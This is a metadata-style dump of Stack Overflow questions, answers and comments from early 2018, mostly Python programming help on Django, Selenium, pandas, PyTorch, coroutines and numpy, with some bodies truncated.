tags question: http://stackoverflow.com/q/48694420
tags question: http://stackoverflow.com/q/48689925
tags question: http://stackoverflow.com/q/48686456
tags question: http://stackoverflow.com/q/48773147
tags question: http://stackoverflow.com/q/48666582
tags question: http://stackoverflow.com/q/48767545
tags question: http://stackoverflow.com/q/48703689
tags question: http://stackoverflow.com/q/48719148
tags question: http://stackoverflow.com/q/48673328
tags question: http://stackoverflow.com/q/48733178
tags question: http://stackoverflow.com/q/48763137
tags question: http://stackoverflow.com/q/48744399
tags question: http://stackoverflow.com/q/48694167
tags question: http://stackoverflow.com/q/48713473
tags question: http://stackoverflow.com/q/48714600
tags question: http://stackoverflow.com/q/48695076
tags question: http://stackoverflow.com/q/48773523
tags question: http://stackoverflow.com/q/48688562
tags question: http://stackoverflow.com/q/48742487
tags question: http://stackoverflow.com/q/48744518
tags question: http://stackoverflow.com/q/48777089
tags question: http://stackoverflow.com/q/48745601
tags question: http://stackoverflow.com/q/48673380
tags question: http://stackoverflow.com/q/48676128
tags question: http://stackoverflow.com/q/48706277

http://stackoverflow.com/comment/84543291
type: QuestionComment
comment on: http://stackoverflow.com/q/48770975
score: 0
type: Comment
has text: I believe that all formats that can be saved/opened by MATLAB can be opened and saved by python

http://stackoverflow.com/q/48696406
has comment: http://stackoverflow.com/comment/84391781
has comment: http://stackoverflow.com/comment/84392607
type: Question
has comment: http://stackoverflow.com/comment/84391992
has comment: http://stackoverflow.com/comment/84392323
has comment: http://stackoverflow.com/comment/84392020
has comment: http://stackoverflow.com/comment/84391919
has body: I'm trying to implement my 404.html page into my django project, and coming across this error. Everything else is complete in my project, so I'm eager to get this last piece done! any help is greatly appreciated. included the 404.html and head_css.html file. please let me know if you need to see anything else. Can anyone help with this? My 404.html code: Codes For Anyone {% include 'landing/head_css.html' %} Page Not Found The page you are looking for was moved, removed, renamed or might never existed. Back To Homepage Report Error {% include 'landing/javascript.html' %} head_css.html: {% load staticfiles %}
linked to: http://stackoverflow.com/q/3630006
has title: Implementing 404 page in Django, but receiving error
score: 0
has comment: http://stackoverflow.com/comment/84391506
has comment: http://stackoverflow.com/comment/84391947
has comment: http://stackoverflow.com/comment/84392756
has comment: http://stackoverflow.com/comment/84392710
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/84392578
tagged with: css
has comment: http://stackoverflow.com/comment/84391820
has comment: http://stackoverflow.com/comment/84392447
has comment: http://stackoverflow.com/comment/84391505
answer count: 0

http://stackoverflow.com/q/48655781
score: 1
tagged with: selenium
upvote count: 1
has answer: http://stackoverflow.com/a/48656874
type: Question
has body: I'm trying to parse the tables present in sports website into list of dictionary to render into template, this is my first exposure to selenium, I tried to read selenium documentation and wrote this program from bs4 import BeautifulSoup import time from selenium import webdriver url = "http://www.espncricinfo.com/rankings/content/page/211270.html" browser = webdriver.Chrome() browser.get(url) time.sleep(3) html = browser.page_source soup = BeautifulSoup(html, "lxml") print(len(soup.find_all("table"))) print(soup.find("table", {"class": "ratingstable"})) browser.close() browser.quit() I'm getting value as 0 and none, How can I modify to get all the values of table and store it in a list of dictionary?, If you have any other questions feel free to ask.
downvote count: 0
accepted answer: http://stackoverflow.com/a/48656874
answer count: 1
tagged with: parsing
favorite count: 0
tagged with: beautifulsoup
tagged with: python-3.x
tagged with: python
has title: How can I parse the table content from the website using Selenium?
type: AnsweredQuestion

http://stackoverflow.com/q/48769638
has comment: http://stackoverflow.com/comment/84544648
has answer: http://stackoverflow.com/a/48769885
accepted answer: http://stackoverflow.com/a/48769885
type: AnsweredQuestion
has body: I got stuck with extracting href="/ttt/play" from the following HTML code. Play GOLD LEVEL HOT SILVER LEVEL This is my code in Python: driver = webdriver.PhantomJS() driver.implicitly_wait(20) driver.set_window_size(1120, 550) driver.get(website_url) tag = driver.find_elements_by_class_name("w-dyn-item")[0] tag.find_element_by_tag_name("a").click() url = driver.current_url print(url) driver.quit() When I print url using print(url), I want to see url equal to website_url/ttt/play, but instead of it I get website_url. It looks like the click event does not work and the new link is not really opened.
has comment: http://stackoverflow.com/comment/84546059
has comment: http://stackoverflow.com/comment/84540319
tagged with: selenium
downvote count: 1
type: Question
linked to: http://stackoverflow.com/q/1766009
has title: How to make click using Selenium?
score: 0
linked to: http://stackoverflow.com/q/48772798
upvote count: 1
answer count: 1
favorite count: 0
tagged with: beautifulsoup
tagged with: python

http://stackoverflow.com/comment/84563555
type: QuestionComment
comment on: http://stackoverflow.com/q/48776580
has text: This seems like a case of spurious CASE. In other words why don't you just return `cls.test_date == func.current_date()` in your hybrid prop and just select that in your column prop. Note that you have multiple spots where you've mixed assignment and equality comparison. `datetime.today` is a function, so you should call it, though you shouldn't be calling that at all, but `date.today()`. The former returns a `datetime` object.
score: 0
type: Comment

http://stackoverflow.com/comment/84389902
type: QuestionComment
has text: @UnholySheep Oh, possibly. Essentially, if I run the "net_connect = blah blah" command in the Python shell, it'll successfully login and I can run more commands. Basically I'm trying to check whether running the command would return an "Authentication failed" error or not.
score: 0
comment on: http://stackoverflow.com/q/48695499
type: Comment

http://stackoverflow.com/q/48796469
has body: I have a list of LongTensors, and another list of labels. I'm new to PyTorch and RNN's so I'm quite confused as to how to implement minibatch training for the data I have. There is much more to this data, but I want to keep it simple, so I can understand only how to implement the minibatch training part. I'm doing multiclass classification based on the final hidden state of an LSTM/GRU trained on variable length inputs. I managed to get it working with batch size 1(basically SGD) but I'm struggling with implementing minibatches. Do I have to pad the sequences to the maximum size and create a new tensor matrix of larger size which holds all the elements? I mean like this: inputs = pad(sequences) train = DataLoader(inputs, batch_size=batch_size, shuffle=True) for i, data in train: #do stuff using LSTM and/or GRU models Is this the accepted way of doing minibatch training on custom data? I couldn't find any tutorials on loading custom data using DataLoader(but I assume that's the way to create batches using pyTorch?) Another doubt I have is with regards to padding. The reason I'm using LSTM/GRU is because of the variable length of the input. Doesn't padding defeat the purpose? Is padding necessary for minibatch training?
has answer: http://stackoverflow.com/a/48922863
tagged with: deep-learning
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84607392
accepted answer: http://stackoverflow.com/a/48922863
downvote count: 0
tagged with: neural-network
score: 7
has title: Mini batch training for inputs of variable sizes
favorite count: 0
type: Question
tagged with: python
tagged with: pytorch
upvote count: 7
answer count: 1
tagged with: autograd

http://stackoverflow.com/comment/84315464
type: Comment
comment on: http://stackoverflow.com/q/48658952
score: 0
has text: groupby and fillna
type: QuestionComment

http://stackoverflow.com/comment/84495008
type: AnswerComment
has text: Still the same error. At this time I am pretty sure that error can't be in my code, rather in the environment. But I have hardly any clue what it could be, since i did not change anything at all.
type: Comment
comment on: http://stackoverflow.com/a/48746276
score: 1

http://stackoverflow.com/comment/84520225
type: Comment
has text: It seems like the port is expected to be a number only.
type: QuestionComment
comment on: http://stackoverflow.com/q/48759704
score: 0

http://stackoverflow.com/comment/84351045
type: Comment
type: QuestionComment
has text: @Idlehands Thank you both for the suggestion! I have re-edited my codes and the IDLE stopsat print(data): b'{"error":{"code": "timeout", "message": "the operation was timeout." line 31 in <module> happiness = faces[0]['scores']['happiness'] if len(faces)>0 else 0 keyerror: 0. It seems that the problem happens at data = response.read() as print(data) returns with "operation is timeout" error". how should I edit it in raspbian as it works well in windows for that
comment on: http://stackoverflow.com/q/48672879
score: 0

http://stackoverflow.com/a/48778753
type: Answer
has body: You haven't included user when rendering the template. So as a result jinja2 fails to find the value for user. I suggest the following. return render(request, '&lt;your template&gt;', { 'form': form 'user': user }) You need to create this user object in the same function or import from somewhere else its created. Hope this helps!
upvote count: 1
answers question: http://stackoverflow.com/q/48778199
score: 1
downvote count: 0

http://stackoverflow.com/comment/84362927
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48680006
has text: And this works with `python manage.py runmodwsgi` but is this suitable solution for live server? Does this work similarly as we define `WSGIDaemonProcess` in an Apache virtual host?
type: AnswerComment

http://stackoverflow.com/comment/84600486
type: QuestionComment
has text: Sounds like a classic use for a context manager. You'll probably want an [asynchronous context manager](https://www.python.org/dev/peps/pep-0492/#asynchronous-context-managers-and-async-with). It looks like a decorator a la `contextlib.contextmanager` might be in 3.7, but there isn't a stable release of that yet. You might also want to look at [this question](https://stackoverflow.com/questions/37433157/asynchronous-context-manager).
score: 0
comment on: http://stackoverflow.com/q/48798144
type: Comment

http://stackoverflow.com/q/48724227
possible better answer: http://stackoverflow.com/a/48724417
type: Question
has answer: http://stackoverflow.com/a/48724417
has comment: http://stackoverflow.com/comment/84447366
score: 1
has comment: http://stackoverflow.com/comment/84447565
has comment: http://stackoverflow.com/comment/84447929
has comment: http://stackoverflow.com/comment/84448010
has comment: http://stackoverflow.com/comment/84447989
has comment: http://stackoverflow.com/comment/84448074
answer count: 2
has answer: http://stackoverflow.com/a/48724344
has comment: http://stackoverflow.com/comment/84447486
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84447963
tagged with: python
tagged with: asynchronous
has body: I would like to implement and run custom Python coroutines (without using asyncio) to have a better "under the hood" understanding of asynchronous mechanisms. I was expected to be able to use concurrency to start a second task when the first task is waiting, doing nothing. Here the synchronous implementation of a stacker (which is an arbitrary use case). def log(*msg): print(int(time() - start), ':', *msg) def stack(stack, item): sleep(1) stack.append(item) start = time() words = [] stack(words, 'hello') log(words) stack(words, 'world') log(words) Here the output, as I was expected: 1 : ['hello'] 2 : ['hello', 'world'] Then an attempt of the asynchronous implementation of the same stacker. def coroutine(func): def starter(*args, **kwargs): gen = func(*args, **kwargs) next(gen) return gen return starter @coroutine def a_sleep(count): while True: yield sleep(count) @coroutine def a_stack(stack): while True: item = yield yield from a_sleep(1) stack.append(item) start = time() words = [] a_stack(words).send('hello') log(words) a_stack(words).send('world') log(words) # Wait all tasks to finish sleep(4) log(words) Expected output: 0 : [] 1 : ['hello', 'world'] 5 : ['hello', 'world'] Real output: 1 : [] 2 : [] 6 : [] I figure I missed something important. I hope my approach is relevant. With additional logs, I have noticed that the a_stack function never execute the append part.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84448199
accepted answer: http://stackoverflow.com/a/48724344
has title: Custom coroutines in Python
has comment: http://stackoverflow.com/comment/84447348
upvote count: 1

http://stackoverflow.com/comment/84543957
type: Comment
has text: @joppich the make_merchant function, when called, is given a session object created somewhere else. That way, this function and other similar ones can be called multiple times within the same session. So, other objects may have been added to the session before the function executes. The alternative is to create a session and commit it within the function, but that creates many transactions and you have to reattach objects manually in the caller code, see http://docs.sqlalchemy.org/en/latest/orm/session_basics.html#when-do-i-construct-a-session-when-do-i-commit-it-and-when-do-i-close-it
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48764448

http://stackoverflow.com/a/48722204
accepted answer of: http://stackoverflow.com/q/48721603
score: 0
answers question: http://stackoverflow.com/q/48721603
type: AcceptedAnswer
type: Answer
has body: Firstly you need to assign the passed prereq to your class variable. Secondly, using a .format() statement would help with the formatting as follows: class The_Unit: def __init__(self, code, name, prereq=[]): self.code = code self.name = name self.prereq = prereq def __repr__(self): return self.__str__() def __str__(self): return 'Code: {}\nName: {}\nprerequisites: {}'.format(self.code, self.name, ', '.join(self.prereq)) unit1 = The_Unit('11', 'coding', ['math', 'python']) print(unit1) This would print: Code: 11 Name: coding prerequisites: math, python

http://stackoverflow.com/comment/84555724
score: 2
comment on: http://stackoverflow.com/q/48773329
has text: You only have one `consume` task running. If you want to allow multiple requests to run at a time, you need to use more than one.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/84351168
score: 1
type: AnswerComment
has text: Thanks for the evaluation and explanation.
type: Comment
comment on: http://stackoverflow.com/a/48675782

http://stackoverflow.com/a/48782534
has body: Before asking elementary questions like this, please read documentation for tools which you are using. You can find documentation via Google. About your task. First, you need find your input in source code, than clean value and input a new one. your_input = driver.find_element_by_xpath('xpath to your input') your_input.clear() your_input.send_keys('your new text')
type: Answer
downvote count: 1
score: -1
upvote count: 0
answers question: http://stackoverflow.com/q/48782458

http://stackoverflow.com/q/48722276
has comment: http://stackoverflow.com/comment/84448808
has comment: http://stackoverflow.com/comment/118246936
tagged with: python
upvote count: 4
has comment: http://stackoverflow.com/comment/84443464
type: AnsweredQuestion
downvote count: 0
tagged with: math
type: Question
has comment: http://stackoverflow.com/comment/84443410
tagged with: algorithm
has title: What is the algorithmic difference between math.ceil() and round() when trailing decimal points are >= 0.5 in Python 3?
score: 4
has body: What is the algorithmic difference between math.ceil() and round() when trailing decimal points are >= 0.5 in Python 3? For example, round(9.5) = 10 round(9.67) = 10 math.ceil(9.5) = 10 math.ceil(9.5) = 10
has answer: http://stackoverflow.com/a/48722336
accepted answer: http://stackoverflow.com/a/48722336
linked to: http://stackoverflow.com/q/48723451
answer count: 1
favorite count: 0
tagged with: python-3.x

http://stackoverflow.com/q/48768317
has comment: http://stackoverflow.com/comment/84537371
has title: Removing non zero cells from pandas dataframe and also removing index
has comment: http://stackoverflow.com/comment/84537182
tagged with: python
has comment: http://stackoverflow.com/comment/84537168
type: AnsweredQuestion
score: 1
tagged with: dataframe
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48768477
downvote count: 0
has body: I have a dataframe that looks like this: Z1 Z2 Z3 Z4 0 0 A A 0 B 0 0 C 0 C 0 D 0 D 0 0 0 E 0 I want to remove the cells with the value 0 and make it to look like this: Z1 Z2 Z3 Z4 C B A A D C D E
tagged with: pandas
answer count: 1
has comment: http://stackoverflow.com/comment/84537438
favorite count: 0
accepted answer: http://stackoverflow.com/a/48768477

http://stackoverflow.com/comment/120872339
type: Comment
score: 1
type: AnswerComment
has text: For a `row` with a number between `NaN`s, e.g. `35 NaN 40 NaN`, it returns `NaN`. I expected it to return `40` in this case.
comment on: http://stackoverflow.com/a/48647149

http://stackoverflow.com/comment/84331328
has text: You don't need `l.remove(largest2)`, but this works.
score: 1
comment on: http://stackoverflow.com/a/48666858
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48722212
tagged with: fenics
score: 0
has body: hope you can help. I need, in my Python script, to run the software container Docker with a specific image (Fenics in my case) and then to pass him a command to execute a script. I've tried with subprocess: cmd1 = 'docker exec -ti -u fenics name_of_my_container /bin/bash -l' cmd2 = 'python2 shared/script_to_be_executed.py' process = subprocess.Popen(shlex.split(cmd1), stdout=subprocess.PIPE,stdin=subprocess.PIPE, stderr = subprocess.PIPE) process.stdin.write(cmd2) print(first_process.stdout.read()) But it doesn't do anything. Suggestions?
has answer: http://stackoverflow.com/a/48723395
tagged with: subprocess
tagged with: python
accepted answer: http://stackoverflow.com/a/48723395
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/60883259
has title: Run sequential commands in Python with subprocess
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/60883259
tagged with: docker

http://stackoverflow.com/q/48655518
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84329362
has comment: http://stackoverflow.com/comment/84309958
has comment: http://stackoverflow.com/comment/84329813
has comment: http://stackoverflow.com/comment/84330939
has comment: http://stackoverflow.com/comment/84309040
has title: How to use the RST module in Kivy?
type: Question
has answer: http://stackoverflow.com/a/48670397
has comment: http://stackoverflow.com/comment/84310069
has body: I'm creating a fitness/nutrition app in Kivy. The problem is that most of the screens involve text for the viewer to read and I don't want the text to be just plain old text like that of a .txt file. I tried looking for something and I found there is a RST rendering module that will make my text look good but after trying for a couple of days, I can't seem to get it working with my code. Also I want to put the text that I will be using with RST into a seperate file so I can keep my code clean, how would I be able to do that? Python Code(main.py): import kivy kivy.require('1.9.0') from kivy.app import App from kivy.uix.gridlayout import GridLayout from kivy.uix.boxlayout import BoxLayout from kivy.uix.anchorlayout import AnchorLayout from kivy.uix.stacklayout import StackLayout from kivy.uix.floatlayout import FloatLayout from kivy.properties import ListProperty, StringProperty, OptionProperty, VariableListProperty from kivy.lang import Builder from kivy.uix.screenmanager import ScreenManager, Screen, FadeTransition from kivy.graphics import * from kivy.base import runTouchApp from kivy.uix.label import Label class MainScreen(Screen): pass class NutritionScreen(Screen): pass class FitnessScreen(Screen): pass class CalorcalcScreen(Screen): pass class BigsixScreen(Screen): pass class ProteinScreen(Screen): pass class CarbScreen(Screen): pass class FatScreen(Screen): pass class VitaminScreen(Screen): pass class MineralScreen(Screen): pass class WaterScreen(Screen): pass class SuppleScreen(Screen): pass class DietScreen(Screen): pass class ExerciseScreen(Screen): pass class WorkoutplanScreen(Screen): pass class ScreenManagement(ScreenManager): pass presentation = Builder.load_file("nutrifit.kv") class NutrifitApp(App): def build(self): return presentation nfApp = NutrifitApp() nfApp.run() Kivy Code(nutrifit.kv): #: import FadeTransition kivy.uix.screenmanager.FadeTransition ScreenManagement: transition: FadeTransition() MainScreen: NutritionScreen: FitnessScreen: Calorca…
accepted answer: http://stackoverflow.com/a/48670397
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84310047
tagged with: kivy-language
tagged with: python
tagged with: kivy

http://stackoverflow.com/q/48762529
has comment: http://stackoverflow.com/comment/84525441
tagged with: django-models
has body: I'm having this doubt, I have a model that stores data from a form, when the data is sent this @receiver stores the data in another model. class Invitados(models.Model): class Meta: verbose_name_plural = "Invitados" estados = ( ("Permitido", "Permitido"), ("Prohibido", "Prohibido"), ) nombre = models.CharField(max_length= 50, null=False, blank=False, validators=[validators.RegexValidator(regex=r'^[A-z]')], error_messages={'invalid': 'El/los nombre/s solo puede contener caracteres del alfabeto (A-Z)'}) apellido = models.CharField(max_length= 50, null=False, blank=False, validators=[validators.RegexValidator(regex=r'^[A-z]')], error_messages={'invalid': 'El/los apellido/s solo puede contener caracteres del alfabeto (A-Z)'}) tipo_de_cedula = models.CharField(max_length= 2, null=False, blank=False) cedula = models.CharField(max_length= 50, null=False, blank=False, validators=[validators.RegexValidator(regex=r'^\d')], error_messages={'invalid': 'La cedula solo puede contener caracteres numericos (0-9)'}) estado = models.CharField(max_length= 10, choices=estados, default='Permitido', null=False, blank=False) envio = models.DateTimeField(auto_now=True) class Invitaciones(models.Model): class Meta: verbose_name_plural = "Invitaciones" unique_together = (("cedula", "fecha"),) tipos_cedula = ( ("V", "V"), ("E", "E"), ) estados = ( ("Disponible", "Disponible"), ("Usado", "Usado"), ) def random_string(): return str(random.randint(10000, 9999999)) def validar_cedula(obj): cedula = obj cedula_invitados = Invitados.objects.filter(estado='Prohibido') for c in cedula_invitados: if str(cedula) == str(c.cedula): raise ValidationError("La cedula que has ingresado pertenece a una persona que tiene prohibido acceder al club.") año = int(datetime.datetime.now().year) nombre = models.CharField(max_length=50, null=False, blank=False, validators=[validators.RegexValidator(regex=r'^[A-z]')], error_messages={'invalid': 'El/los nombre/s solo puede contener caracteres del alfabeto (A-Z)'}) apell…
score: 0
has comment: http://stackoverflow.com/comment/84525677
tagged with: python-3.x
has title: Django, how to reject a object from a @receiver if some int equals to another int
type: UnansweredQuestion
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/48762592
has answer: http://stackoverflow.com/a/48762569
type: Question
answer count: 2

http://stackoverflow.com/a/48756253
has comment: http://stackoverflow.com/comment/84513803
has comment: http://stackoverflow.com/comment/84513928
type: Answer
has comment: http://stackoverflow.com/comment/84515031
has comment: http://stackoverflow.com/comment/84514981
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/84514802
has body: This program might do what you want: def fetch_one_line(filename, linenumber): with open(filename) as handle: for n, line in enumerate(handle, 1): if n == linenumber: return line print("OOPS! There aren't enough lines in the file") return None my_line = fetch_one_line('input.txt', 5) print(repr(my_line))
has comment: http://stackoverflow.com/comment/84515281
answers question: http://stackoverflow.com/q/48756186
downvote count: 0

http://stackoverflow.com/comment/84523027
has text: can i use a django buid in authentication for seperate login page ?
comment on: http://stackoverflow.com/q/48761172
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48654477
has comment: http://stackoverflow.com/comment/84329768
has comment: http://stackoverflow.com/comment/84328482
has comment: http://stackoverflow.com/comment/84329227
upvote count: 2
has comment: http://stackoverflow.com/comment/84327793
has comment: http://stackoverflow.com/comment/84326935
has comment: http://stackoverflow.com/comment/84329670
accepted answer of: http://stackoverflow.com/q/48654248
has comment: http://stackoverflow.com/comment/84328970
has comment: http://stackoverflow.com/comment/84327051
answers question: http://stackoverflow.com/q/48654248
score: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84328124
has body: I just tried your code(with small modification) and it works: import pandas as pd url = 'http://www.aastocks.com/en/cnhk/market/quota-balance/hk-connect' for i, df in enumerate(pd.read_html(url)): filename = '/tmp/output_%02d.csv' % i df.to_csv(filename, encoding='utf-8') Output: daniel@synapse:/tmp$ cat output_17.csv ,0,1,2,3,4,5 0,Combined Southbound,,,,, 1,Date,Daily Quota Balance(% of Quota),Money Flow,Buy Trade Value(HKD),Sell Trade Value(HKD),Total Trade Value1 (% of Market Turnover) 2,2018/02/07,20.68B(98.46%),In 322.87M,TBA,TBA,TBA 3,2018/02/06,12.98B(61.81%),In 8.02B,25.70B,18.10B,43.80B(16.98%) 4,2018/02/05,10.76B(51.25%),In 10.24B,19.50B,8.91B,28.41B(16.72%) 5,2018/02/02,15.60B(74.29%),In 5.40B,12.43B,7.05B,19.48B(13.17%) 6,2018/02/01,18.67B(88.90%),In 2.33B,11.60B,9.89B,21.49B(13.90%) 7,2018/01/31,14.89B(70.91%),In 6.11B,14.29B,8.32B,22.61B(12.79%) 8,2018/01/30,17.55B(83.55%),In 3.45B,11.82B,8.86B,20.68B(11.92%) 9,2018/01/29,16.24B(77.35%),In 4.76B,14.98B,10.45B,25.43B(13.27%) 10,2018/01/26,17.53B(83.46%),In 3.47B,12.01B,9.20B,21.21B(11.79%) 11,2018/01/25,18.18B(86.58%),In 2.82B,13.09B,11.13B,24.22B(12.90%) 12,2018/01/24,17.02B(81.07%),In 3.98B,13.42B,10.13B,23.55B(12.54%) 13,2018/01/23,14.72B(70.07%),In 6.28B,15.35B,9.39B,24.74B(12.50%) 14,2018/01/22,14.77B(70.31%),In 6.23B,14.43B,8.21B,22.64B(13.40%) 15,2018/01/19,14.75B(70.26%),In 6.25B,13.86B,7.68B,21.54B(13.25%) 16,2018/01/18,14.78B(70.36%),In 6.22B,15.07B,8.94B,24.01B(12.23%) 17,,,,,, FYI: page charset=UTF-8 UPDATE on comment I use excel to open csv and find the contents is garbled. I didn't find any Chinese chars, but if I will change URL to url = 'http://www.aastocks.com/sc/cnhk/market/quota-balance/hk-connect', so Chinese shown properly. import pandas as pd url = 'http://www.aastocks.com/sc/cnhk/market/quota-balance/hk-connect' for i, df in enumerate(pd.read_html(url, encoding='utf-8')): filename = '/tmp/output_%02d.csv' % i df.to_csv(filename, encoding='utf-8') Check output: daniel@synapse:/tmp…
type: Answer

http://stackoverflow.com/comment/117758515
type: Comment
has text: FYI - Just wanted to follow up and say that the issue was [resolved off thread](https://gist.github.com/geekscrapy/1e2d4409cb2c2c74ec85592b1d3e70d4#file-gistfile1-txt). So I still stand by my solution above.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/62124626

http://stackoverflow.com/comment/84541721
type: QuestionComment
comment on: http://stackoverflow.com/q/48770079
has text: lastly, you don't need the inner loop. just set your initial `tmp` variable to `None`. If it's `None`, create it as you are now. Then for the next chunk, when it's not none, just use the `DataFrame.add` method, setting the `axis` and `fill_value` parameters properly. The whole point of pandas is that it takes care of data alignment for you
score: 0
type: Comment

http://stackoverflow.com/comment/84570774
has text: Yes, I understand, I will try, also, I thought that to access the Player class I had to add it in, also, I thought that since I don't need any self calls I don't need it as an argument.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48784392
type: Comment

http://stackoverflow.com/q/48710879
tagged with: python
has title: python : best way of splitting ref IDs to their own rows
has comment: http://stackoverflow.com/comment/84421738
type: Question
score: 0
has comment: http://stackoverflow.com/comment/84421739
has comment: http://stackoverflow.com/comment/84420872
has body: this is a 2 part question: 1) how do i split the ref ids to their own rows. 2) by splitting the ref ids, can i still use them as unique idenifiers with the task ID or do i need to create a 3rd columne for the primary key. Given the sample data set As far as an approach: I was thinking of loading a csv into a dictionary check 'BR Ref ID' value has more than one id and splitting it, Insert new rows with the found 'BR Ref ID' with original 'Task Req ID', 'New or Change', 'Asset(s)' and 'workflow' delete original row somehow &lt;&lt; which is where I'm being stumped regarding 2 above.. what should i use as a unique idenifier as this data will be loaded back into a database of some kind.
answer count: 0
has comment: http://stackoverflow.com/comment/84424422
type: UnansweredQuestion

http://stackoverflow.com/comment/84303297
has text: I use Ubuntu 16.04. Firefox Quantum
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48652482

http://stackoverflow.com/a/48666370
answers question: http://stackoverflow.com/q/48665771
downvote count: 1
has comment: http://stackoverflow.com/comment/84332878
has comment: http://stackoverflow.com/comment/84345157
score: -1
has body: First issue looks like button hasn't appeared. Maybe this can aid you. One more thing, try to close driver when Scrapy is shutting down. Probably this can help you. Second issue looks like you are going to do open and write many times and that is not good, since you will be overwriting existing contents. Even with 'a' flag e.g. open(FILE_NAME, 'a') this is not good practice in Scrapy. Try to create Item populate it and then use Pipelines mechanism for saving items in CSV file. Something like here.
upvote count: 0
type: Answer

http://stackoverflow.com/q/48799472
has comment: http://stackoverflow.com/comment/84601922
favorite count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/84601891
tagged with: python
downvote count: 1
has comment: http://stackoverflow.com/comment/84601966
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48799728
has body: I've been working all day on a bit of code for a maze generation algorithm. In this snippet: if nextCoords[2] == '&lt;': cells[x][y].l = False x, y = nextCoords[0], nextCoords[1] cells[x][y].r = False The first line of the if statement, cells[x][y].l = False executes as expected, but for some reason cells[x][y].r = False does not keep the change made. Here's the full code (with some prints from hopeless debugging): import random class Cell(): def __init__(self, x, y): self.x = x self.y = y self.visited = False self.isStart = False self.isEnd = False self.isNormal = True self.u = True self.d = True self.l = True self.r = True def __str__(self): # For console applications return "{0}{1}{2}{3}{4}{5}{6}".format( '^' if not self.u else ' ', 'v' if not self.d else ' ', '&lt;' if not self.l else ' ', '&gt;' if not self.r else ' ', '+' if self.isStart else '', '@' if self.isEnd else '', ' ' if self.isNormal else '' ) def __repr__(self): return self.__str__() def mazegen(w=3, h=3, printOut=False): x = 0 y = 0 cells = [[Cell(x, y) for x in range(w)] for y in range(h)] stack = [] cells[x][y].isStart = True cells[x][y].isNormal = False while True: allVisited = True for i in cells: for j in i: if not j.visited: allVisited = False if allVisited: finalCell = cells[ stack[-1][0] ][ stack[-1][1] ] finalCell.isNormal = False finalCell.isEnd = True break cells[x][y].visited = True choices = [] if x &gt; 0: choices.append((x-1, y, '&lt;')) if x &lt; w-1: choices.append((x+1, y, '&gt;')) if y &gt; 0: choices.append((x, y-1, '^')) if y &lt; h-1: choices.append((x, y+1, 'v')) betterChoices = [] for c in choices: if not cells[ c[0] ][ c[1] ].visited: betterChoices.append(c) if betterChoices != []: nextCoords = random.choice(betterChoices) else: popped = stack.pop() x, y = popped[0], popped[1] continue stack.append((x, y)) print(nextCoords[2]) if nextCoords[2] == '^': cells[x][y].u = False print("This cell is now {}.".format(cells[x][y])) x, y = nextCoords[0], nextCoords[1] cells[x][y].d = …
score: 1
has comment: http://stackoverflow.com/comment/84601818
has comment: http://stackoverflow.com/comment/84601821
has comment: http://stackoverflow.com/comment/84601915
has comment: http://stackoverflow.com/comment/84601839
has comment: http://stackoverflow.com/comment/84602806
has comment: http://stackoverflow.com/comment/84601883
has title: Python - Change made to class in array not saved
type: Question
tagged with: arrays
answer count: 1
has comment: http://stackoverflow.com/comment/84602137
has comment: http://stackoverflow.com/comment/84601785
tagged with: class
has comment: http://stackoverflow.com/comment/84602504
has comment: http://stackoverflow.com/comment/84603710
has answer: http://stackoverflow.com/a/48799728

http://stackoverflow.com/q/48785115
has body: I have a numpy array with shape (34799, 32, 32, 3)which means (num examples, width, height, channels). Now I normalize the image data with the following code: def normalize(x): return (x - 128) / 128 X_train_norm = normalize(X_train) But the result seems not right, the value of X_train[0][0][0] is [28 25 24], but the output of X_train_norm[0][0][0] is [1.21875 1.1953125 1.1875]. I use the following test code: test = np.array([[[[28, 25, 24]]]]) print ((test - 128) / 128) output: [[[[-0.78125 -0.8046875 -0.8125 ]]]] Why the normalize function gets the wrong result?
accepted answer: http://stackoverflow.com/a/48785631
has comment: http://stackoverflow.com/comment/84574543
favorite count: 0
has comment: http://stackoverflow.com/comment/84572429
score: 9
has comment: http://stackoverflow.com/comment/84574961
possible better answer: http://stackoverflow.com/a/48785941
has comment: http://stackoverflow.com/comment/84572493
tagged with: normalize
tagged with: python
has answer: http://stackoverflow.com/a/48785941
type: AnsweredQuestion
tagged with: image-processing
has answer: http://stackoverflow.com/a/48785631
has title: Numpy - normalize RGB pixel array
type: Question
tagged with: numpy
upvote count: 9
downvote count: 0
has comment: http://stackoverflow.com/comment/84574407
answer count: 2
tagged with: array-broadcasting

http://stackoverflow.com/comment/84330350
has text: @ZackTarr yes the records exit already
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48666358
score: 0

http://stackoverflow.com/comment/84403426
has text: please tell your specific problem.
comment on: http://stackoverflow.com/q/48702550
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/122581242
type: AnswerComment
has text: `randint` is not guaranteed to be periodic over `k`, you will likely see repetition before enumerating all possibilities.
type: Comment
comment on: http://stackoverflow.com/a/53895551
score: 0

http://stackoverflow.com/comment/84594223
type: QuestionComment
comment on: http://stackoverflow.com/q/48795794
has text: Why don't you use [`SUBSTR`](http://www.folkstalk.com/2011/11/string-functions-in-hive.html)? For example: `SELECT SUBSTR(yearmonth,1,3) AS month, SUBSTR(yearmonth,4,3) AS year FROM data`
score: 2
type: Comment

http://stackoverflow.com/comment/84578975
score: 0
type: Comment
